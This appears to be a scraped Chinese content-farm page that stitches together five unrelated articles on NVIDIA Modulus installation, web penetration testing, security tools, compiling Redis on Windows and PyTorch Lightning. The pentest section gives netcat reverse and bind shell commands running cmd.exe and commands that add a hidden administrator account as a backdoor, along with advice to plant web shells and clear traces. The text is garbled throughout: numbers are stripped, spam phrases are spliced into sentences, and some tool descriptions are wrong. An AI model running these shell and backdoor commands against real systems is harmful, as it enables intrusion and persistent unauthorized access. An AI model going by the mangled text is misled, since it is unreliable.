1.NVIDIA Modulus 23.03安装和使用方法
2.web渗透是什么？
3.最佳的75个网络安全工具
4.编译实战 | 手摸手教你在Windows环境下运行Redis6.x
5.Nuplan源码中Pytorch Lightning详解
NVIDIA Modulus 23.03安装和使用方法
如果你对NVIDIA的Modulus .版本感兴趣，以下是你需要了解的安装和使用指南。从年开始，Modulus将进行重大更新，建议直接从.版本开始，因为它将成为新开发的canny源码分析基础，旧版本将不再维护，所有功能将迁移至此。 Modulus .开源，可在GitHub获取。新版本主要由两个部分组成：Modulus包和modulus-sym包。sym包整合了大量API接口，以下是部分核心模块的导入示例： from modulus.sym.hydra import to_absolute_pathfrom modulus.sym.solver import Solver
from modulus.sym.domain import Domain
...
from modulus.sym.utils.io.plotter import ValidatorPlotter
安装步骤如下：首先，从GitHub下载modulus源代码，确保选择正确的版本，然后构建镜像：
#docker build -t modulus:ci --target ci -f Dockerfile .启动镜像，在其中安装modulus-sym：
#pip install .可能需要额外安装一些依赖，如：
sudo apt-get install libx-6sudo apt install libgl1-mesa-glx
sudo apt-get install libxrender1
完成以上步骤后，你就可以开始编写并运行Modulus .的代码了。对于进一步的技术交流和疑难解答，我们建议加入以下QQ群： 群名称：英伟达Modulus仿真技术交流（PINN）群号：
这里是一个活跃的社区，可以与同行分享经验和解决问题。祝你在使用Modulus .的过程中顺利！web渗透是什么？
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，h5手机端游戏源码提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp
在内网主机上执行：
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，程序员为什么看不到源码或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
最佳的个网络安全工具
在这个纷繁复杂的网络世界中，为了保护你的系统和数据安全，拥有一套强大而可靠的网络安全工具显得尤为重要。以下是一些最佳的个网络安全工具，它们涵盖了风险评估、协议检测、入侵防护，以及网络审计等多个方面，确保你的网络防线坚固如铁。
**1. Nessus** - 作为开源的风险评估工具，Nessus在Linux/BSD/Unix平台上支持远程安全扫描，能够生成详尽的报告并提供改进建议，是安全检查的得力助手。
**2. Tenable** - 这家公司专注于网络安全暴露管理，提供全面的解决方案，帮助企业实时监控网络安全状况。
**3. Ethereal** - 这款网络协议检测工具，开源且跨Unix/Windows平台，交互式数据包分析能力强大，对网络通信有深入洞察。
**4. Snort** - 作为入侵检测系统，Snort以开源著称，能对IP网络进行深入分析和协议/内容检测，防止潜在威胁。
**5. Netcat** - 作为基础的网络工具，Netcat支持TCP/UDP连接，是网络调试和探测的必备工具。
**6. TCPDump/WinDump** - 作为网络监测和数据收集工具，它们在命令行中表现出色，跨平台适应力强。
**7. Hping2** - 这个网络探测工具支持多种协议包发送，还具备traceroute功能，源码一位乘的运算规则有让你轻松测试网络连接。
**8. DSniff** - 用于网络审计和渗透测试，能够监视和分析网络数据，提供深入的网络安全洞察。
**9. SSHmitm, webmitm** - 以及商业工具如GFI LANguard、Ettercap和Whisker/Libwhisker，它们在数据交换和MITM攻击防范中扮演重要角色。
**. SSH, OpenSSH** - 开源和商业的SSH/SSH协议保证了远程登录的安全，而Sam Spade和ISS Internet Scanner则在应用层风险评估中提供支持。
**. Tripwire** - 这个开源工具提供数据完整性监控，商业版本则在Linux上更胜一筹，是Nessus的替代品。
**. Linux/BSD/Unix/Windows平台** - 你的选择范围广泛，适应不同操作系统。
**. Nikto** - 开源的web安全扫描工具，有助于检测潜在的漏洞。
**. Kismet** - 无线嗅探工具，针对Wi-Fi和蓝牙设备，商业版本功能更全面。
**. SuperScan** - 作为Windows上的免费端口扫描器，McAfee提供强大的防护。
**. L0phtCrack** - 这款口令审计工具在破解口令方面独具优势。
**. Retina** - 商业风险评估工具BeyondTrust，提供深度的安全评估。
**. Netfilter** - Linux内核防火墙iptables，状态检测和NAT功能强大。
**. traceroute/ping/telnet/whois** - 基础命令，跨平台且实用。
**. Fport** - Windows上的增强netstat，专为Windows设计。
**. SAINT** - 商业风险评估工具，曾开源，适用于UNIX类平台。
**. Network Stumbler** - 无线接入点搜索工具，Windows版本，Kismet在UNIX上更受欢迎。
**. SARA** - SATAN的衍生工具，开源，支持Linux/BSD/Unix。
**. N-Stealth** - 商业Web扫描工具，下载的安卓源码怎么用不了Windows专属，源代码不公开。
**. AirSnort** - 无线WEP密码破解工具，多平台可用。
**. NBTScan** - 收集Windows网络信息的工具，开源，跨平台。
**. GnuPG/PGP** - 加密库，开源/商业，适用于所有主要平台。
**. OpenSSL** - 用于SSL/TLS加密的开源库，广泛支持。
**. NTop** - 显示网络流量的开源工具，适合监控网络使用情况。
**. Nemesis** - 命令行工具，用于测试网络设备，Linux专用。
**. LSOF** - Unix的诊断工具，列出系统打开的文件，开源。
**. Hunt** - Linux上的高级包嗅探工具，用于会话劫持。
**. Honeyd** - 个人 honeynet 实验平台，提供虚拟主机模拟，开源。
**. Achilles** - 代理服务器测试工具，开源，Windows可用。
**. Brutus** - 网络认证破解工具，字典攻击支持，免费下载（Windows）。
**. Stunnel** - 多用途SSL加密外壳，开源，跨平台。
**. Paketto Keiretsu** - TCP/IP工具集合，开源，功能丰富。
**. Fragroute** - 损坏IDS工具，开源，支持多种平台。
**. SPIKE Proxy** - 用于web安全检测的开源HTTP代理。
**. THC-Hydra** - 网络认证破解工具，开源，适合多种平台。
**. Nessus功能的补充** - 包括OpenBSD、TCP Wrappers、pwdump3等工具，涵盖了更多安全细节。
通过这些工具，你可以全面地保护你的网络环境，确保安全无虞。每个工具都有其独特的优势，可根据你的具体需求来选择和部署。记住，安全永远是网络世界中的首要任务。
编译实战 | 手摸手教你在Windows环境下运行Redis6.x
哈喽大家好啊，我是没事就愿意瞎捣鼓的Hydra。
不知道有没有小伙伴像我一样，平常开发中用的是windows操作系统，有时候想装点什么软件，一看只支持linux系统，无奈要么启动虚拟机、要么装在云服务器上。
这不前几天又是这样，刚想用一下Redis 6.x版本来尝试一下新特性，打开官网一看，好家伙我直呼内行，果然不支持windows系统：
不过虽然redis的官网上不提供windows版本下载，但是这也难不倒我这个面向百度编程的小能手，一番查找后让我找到了微软在github上维护的几个可以在windows上运行的redis版本：
项目的git地址是/MicrosoftArchive/redis/releases，我翻了一下，微软维护了2.x和3.x的多个windows版本redis，不过比较遗憾，在维护到3.0.正式版本后就放弃了更新。
不过问题不大，眼看微软撂挑子不干了，波兰的热心市民 Tomasz Poradowski 先生这时候站出来，继续开始提供可以在windows上运行的4.x和5.x版本的redis，并且从年到年一干就是5年。
项目git地址是/tporadowski/redis/releases，没错，其实我本地环境运行的redis-5.0.9就是以前从这里下载的，而且绿色版使用起来真的是干净又卫生，所以我强烈建议大家给这位老哥来一个Star支持一下。
不过绕了这么一大圈，我的问题还是没有解决啊，既然没有现成的可以在windows上运行的redis6.x版本，那我们干脆就来自己编译一个吧。
首先介绍一下我们今天要用到的工具Cygwin，先简单看一下它的官网 /，上面很清晰的解释了几个容易引起大家混淆的问题：
先解释了cygwin是什么：
再纠正了大家的常见误区：
其实可以用一句话来概括一下它的功能，cygwin是一个可运行于原生windows系统上的POSIX兼容环境，可以通过重新编译将linux应用移植到windows中。
好了，这样简单了解一下cygwin的功能对我们来说暂时就足够了，下面我们看看如何使用它来编译windows版本redis。
下面我们先进行编译工具Cygwin的下载和安装，在它的官网上就可以直接下载，完成后就可以开始安装了。下面我会贴出一些需要特殊配置的步骤，如果没有特殊说明的话，那么直接痛快的点击下一步就可以了。
网络连接配置这里选择第二项，也就是直接连接，不需要任何代理方式：
在选择下载源这一步，先手动输入User URL，添加阿里云的镜像/cygwin，点击add后再选择我们刚才添加的这个源，然后点击下一步：
接下来选择需要下载安装的组件包，我们只需要下载我们编译相关的模块即可。先通过上面的搜索框进行定位，选择安装Devel模块下面的make、gcc-core，gcc-g++，以及Libs模块下的libgcc1 、libgccpp1，然后点击New这一列的Skip，选择要安装的版本号，全部添加完成后点击下一步：
接下来会自动进行下载上面选择的模块，等待全部下载结束后安装就完成了：
安装完成后，我们运行Cygwin Terminal，通过命令检测可以看到Status为OK，表示cygwin运行正常：
准备好编译工具后，我们接下来先下载redis6.x版本的源码，6.0.的下载地址为：
download.redis.io/relea...
cygwin安装完成后，会在它的安装路径的home目录下，创建一个以你登录系统的用户名来命名的目录，我们把下载完成后的压缩包放到这个cygwin\home\${ user}目录下，在cygwin命令行中先执行解压命令：
使用下面的命令先切换到解压后的根目录，然后执行编译和安装：
点击回车，然后就开始漫长的等待吧，不得不说编译和安装的过程真的很慢，我这大概花了分钟才全部完成。
不出意外的最后果然出现了意外，报了两个Error，不过貌似没有什么太大影响，切换到src目录下，就已经可以看到编译完成后已经生成了6个exe可执行文件了：
但是如果这个时候双击redis-server.exe尝试进行启动的话，那么就会报错提示缺少dll动态链接库：
我们可以在cygwin的bin目录下找到这个文件，为了方便，把可执行文件、动态链接库文件、redis配置文件拷贝到一个单独的目录下再次尝试启动：
这次能够正常启动成功，我们再使用客户端连接工具连接并进行测试，终于，6.0.版本的redis可以在windows环境下正常运行了。
忙活一大顿总算成功了，我们也终于可以在windows上体验redis6.x版本了，不过这里还是给小伙伴们提个醒，这样编译的redis我们平常自己在学习中体验一下就可以了，尽量不要用在生产上。
因为cygwin编译后的程序，相当于在windows系统上模拟实现了POSIX兼容层，应用程序在底层多了一层函数调用，因此效率比运行在linux系统的原生应用低了很多。因此，这样在windows上运行的redis，无疑会损失掉它引以为傲的高性能这一优势。
秉持着好东西就要分享的原则，我也已经把编译好的windows版redis6.0.上传到了网盘，有需要的小伙伴们可以从下面获取下载方式。
那么，这次的分享就到这里，我是Hydra，下期见。
作者简介，码农参上，一个热爱分享的公众号，有趣、深入、直接，与你聊聊技术。个人微信DrHydra9，欢迎添加好友，进一步交流。
Nuplan源码中Pytorch Lightning详解
Nuplan源码解读系列中，我们已对Hydra进行了详尽解析。Pytorch Lightning，针对大型工程设计，模块独立，提供模板，简化开发。其应用主要分为四部分：数据加载、模型构建、模型使用、回调函数。在Nuplan中，数据加载与模型训练通过run_training.py执行，模型评估与可视化则在run_simulation.py和run_nuborad.py中进行。Pytorch Lightning提供了简洁实例教程，帮助快速上手。
数据加载方面，Nuplan数据集通过自定义Dataset继承torch.utils.data.Dataset进行加载。数据预处理在compute_features函数中执行，提取map和agent的特征与目标信息。Trainer.fit()启动训练，每个batchsize自动调用getitem函数，执行数据提取。
在数据管理上，LightningDataModule用于数据集划分，Nuplan使用setup、teardown、train_dataloader、val_dataloader、test_dataloader等函数。setup函数调用create_dataset划分数据集，随机选取样本作为训练集。
模型准备阶段，通过LightningModule加载模型，关键方法包括training_step、validation_step、test_step与configure_optimizers。这些函数用于不同阶段的训练、验证、测试与设置优化器。详细流程包括数据准备、自动调用训练函数，以及在training_step中执行整个训练流程，包含特征与目标提取、前向传播、损失计算与指标评估。
后续，我们计划继续探讨Pytorch Lightning的高级应用，以及在Nuplan项目中如何高效集成与优化。请注意，这里提供的代码示例基于在Pytorch Lightning框架上开发的plantf，而非Nuplan的原始代码，但主体框架与之相似，仅在模型内容上有所差异。期待进一步的分享与交流。
